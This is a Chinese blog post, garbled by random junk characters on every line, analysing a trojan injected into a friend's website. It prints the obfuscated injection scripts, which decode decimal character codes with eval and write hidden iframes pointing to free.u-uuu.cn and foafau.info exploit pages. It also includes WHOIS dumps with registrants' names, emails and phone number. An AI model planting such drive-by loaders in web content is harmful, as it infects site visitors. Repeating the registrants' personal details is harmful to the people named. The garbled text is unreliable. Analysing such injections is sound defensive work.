首发在我的博客里面，
b15qy? `y i8. [d5 http://www.areway.cn/?p=175 nWu4HFi ,+9r/}K]/ 2&URIQg*J 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
cvfAa#tq> >cL2PN_y <script>t=’60,105,102,114,97,109,101,
Am
$L 32,115,114,99,61,104,116,116,112,58,47,47,
8l0
(6x$ 102,114,101,101,46,117,45,117,117,117,46,99,
n# cN[C9 110,47,101,114,114,111,114,46,104,116,109,
I |z#Ao c 32,119,105,100,116,104,61,49,48,48,32,104,
$t}1|q| 101,105,103,104,116,61,48,62,60,47,105,102,
s3 $Q_8H 114,97,109,101,62′;
Jo <6M' t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
tvRy8u; n.R hA-O <script>t=’60,105,102,114,97,109,101,32,115,
FG:BRS<m~ 114,99,61,104,116,116,112,58,47,47,102,114,
EZBzQ"" 101,101,46,117,45,117,117,117,46,99,110,47,
Beg5[4@ 101,114,114,111,114,46,104,116,109,32,119,
[^~9wFNtd 105,100,116,104,61,49,48,48,32,104,101,105,
/vu!5?S 103,104,116,61,48,62,60,47,105,102,114,97,
2 s% M,Nb 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
w}q"y+=Z: document.write(t);</script>
ze)K-6SKH 8$Yf#;m[ <html xmlns=”
2zu~#qU[)M http://www.w3.org/1999/xhtml t@M] ec “>
!yrHVc <head>
or `stBx <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
?UDO%`X <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
89mre;v` <title>首页 - 爱生活家庭网
ypo=y/! i{qU R P}. 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
qCN7i&k, 转换字符串后的大概内容是（谁点击后果自付）：
P^W47
SO <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
5 &= n
5AU 3s 查询玉米u-uuu.cn的详细信息：
8 f5^@K\c Domain Name: u-uuu.cn
\}NWR{= ROID: 20070901s10001s64972306-cn
Dj(7'jT Domain Status: ok
8-YrmP2k Registrant Organization: 王雷
HYmXPpse Registrant Name: 王雷
u _=y,~s Administrative Email:
czlovexs@126.com #SNI
dc>9\ Sponsoring Registrar: 北京万网志成科技有限公司
Qe.kN dT+_ Name Server:ns.yovole.com
w[YbL2p Name Server:ns1.yovole.com
NI:N
W-! Registration Date: 2007-09-01 17:54
5N<v'6&= Expiration Date: 2008-09-01 17:54
MiM=fIuw@s 最后PING了一下地址 都没有什么….
rxeXz< aZ`ags ofk 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
' PYqp&gJ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
T?{9Z <script language=”javascript” src=”
dvF48,kr http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script h xJgxM >
7#qL9+G 这个玉米应该有可能是木马作者的：
2!?z%s-S foafau.info的详细信息：
HW Os@ !cL Access to INFO WHOIS information is provided to assist persons in
$IZZ`Z]B determining the contents of a domain name registration record in the
)^f
Q@C8 Afilias registry database. The data in this record is provided by
Q9tE ^d+% Afilias Limited for informational purposes only, and Afilias does not
3eP0v guarantee its accuracy. This service is intended only for query-based
z>;+'>XXgx access. You agree that you will use this data only for lawful purposes
Vp"Ug,1 and that, under no circumstances will you use this data to: (a) allow,
pF+wH MhUe enable, or otherwise support the transmission by e-mail, telephone, or
z}2e;d 7 facsimile of mass unsolicited, commercial advertising or solicitations
g_c)Ts( to entities other than the data recipient’s own existing customers; or
<>Dd xmw (b) enable high volume, automated, electronic processes that send
F>(#Af9 queries or data to the systems of Registry Operator, a Registrar, or
$:
m87cR~ Afilias except as reasonably necessary to register domain names or
bMOM`At>z modify existing registrations. All rights reserved. Afilias reserves
y]f^`2L!8> the right to modify these terms at any time. By submitting this query,
:P~&
b P you agree to abide by this policy.
aW-o=l@; Domain ID:D22418703-LRMS
& ntP~!w Domain Name:FOAFAU.INFO
n Yt\e]3 Created On:20-Nov-2007 16:05:42 UTC
)\\V
s>9 Last Updated On:20-Nov-2007 16:05:44 UTC
@"Fp;Je\bN Expiration Date:20-Nov-2008 16:05:42 UTC
Zbh]SF{3F Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
dN/ "1%9) Status:CLIENT DELETE PROHIBITED
:_,]?n Status:CLIENT RENEW PROHIBITED
yZ)aKwj%U Status:CLIENT TRANSFER PROHIBITED
B~g05`s Status:CLIENT UPDATE PROHIBITED
<i\z fa'6 Status:TRANSFER PROHIBITED
;Pqyu
? Registrant ID:GODA-040110615
`p d Registrant Name:liu hong
Yj7= T%5 Registrant Organization:
/u XRZ Registrant Street1:beijing
@))}\: Registrant Street2:
t^_ {5 Registrant Street3:
eGe[sv"k Registrant City:beijing
]{2{:`s Registrant State/Province:
<kX V1@> Registrant Postal Code:100000
0"qim0%|DF Registrant Country:CN
^HlLj# Registrant Phone:+86.860108888777
avt>saR Registrant Phone Ext.:
$:B K{,\
Registrant FAX:
fqk Dk Registrant FAX Ext.:
mn; 7o~4 Registrant Email:bbbshiji@163.com
:{i$2\D H6 Admin ID:GODA-240110615
-wRyMY_ D Admin Name:liu hong
l^UJes! Admin Organization:
`\F%l?aY Admin Street1:beijing
< \d |=>; Admin Street2:
&e]]F# Admin Street3:
P
5qa:< Admin City:beijing
O? Gl4_y Admin State/Province:
gAr` hXO Admin Postal Code:100000
Q
f+p0 E; Admin Country:CN
*)`kx Admin Phone:+86.860108888777
_L4<^Etfm Admin Phone Ext.:
`zzKD2y Admin FAX:
5h|m4)$ Admin FAX Ext.:
BU]WN7]D$ Admin Email:bbbshiji@163.com
Rg?{?qK\K Billing ID:GODA-340110615
N;x<| %peL Billing Name:liu hong
[UJEU~XC Billing Organization:
:e&n.i^ Billing Street1:beijing
"0'* q<8 Billing Street2:
9o`7Kc/g Billing Street3:
5rf H;` Billing City:beijing
'Uko^R)( Billing State/Province:
Q$fRi[/L Billing Postal Code:100000
ovDJ{3L6O Billing Country:CN
iF [?uF Billing Phone:+86.860108888777
fKT Dt% Billing Phone Ext.:
;J(rw
Billing FAX:
bCA2ik Billing FAX Ext.:
rQcRjh+E
H Billing Email:bbbshiji@163.com
+^4BO` Tech ID:GODA-140110615
BSfm?ku" ! Tech Name:liu hong
g= FDm* Tech Organization:
]> )u+| Tech Street1:beijing
. 0
s[{x Tech Street2:
v@fe-T&0 Tech Street3:
jD ' Tech City:beijing
b W=. K>| Tech State/Province:
\LdmGv@ & Tech Postal Code:100000
=% q?Cr Tech Country:CN
m"gni # Tech Phone:+86.860108888777
{ Ax)[<i Tech Phone Ext.:
n5Nan
Tech FAX:
F l_dzh,E Tech FAX Ext.:
yn/?=
?0 Tech Email:bbbshiji@163.com
KE/- VjZu Name Server:NS27.DOMAINCONTROL.COM
c= A(o Name Server:NS28.DOMAINCONTROL.COM
N5 SLF4R1 Name Server:
bBUbw *DF) Name Server:
bp]^ EVx Name Server:
7P<r`,~k- Name Server:
YgE]d?_h Name Server:
&W=V%t>Z Name Server:
4F0 5(R8k Name Server:
ixIV=# Name Server:
iNod< /+"K Name Server:
r] A" Og_U Name Server:
~ X-)_zH Name Server:
yZYK wKG 0a"ig H} 接着下载每个文件里面的代码：
<y@,3DD3A9 一步一步看..
B4]AFR I 
:s'o~
^FP}
qW~;9 
I
jZ]_*^! 
t)-*.qZh 
uYFMv=>j 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
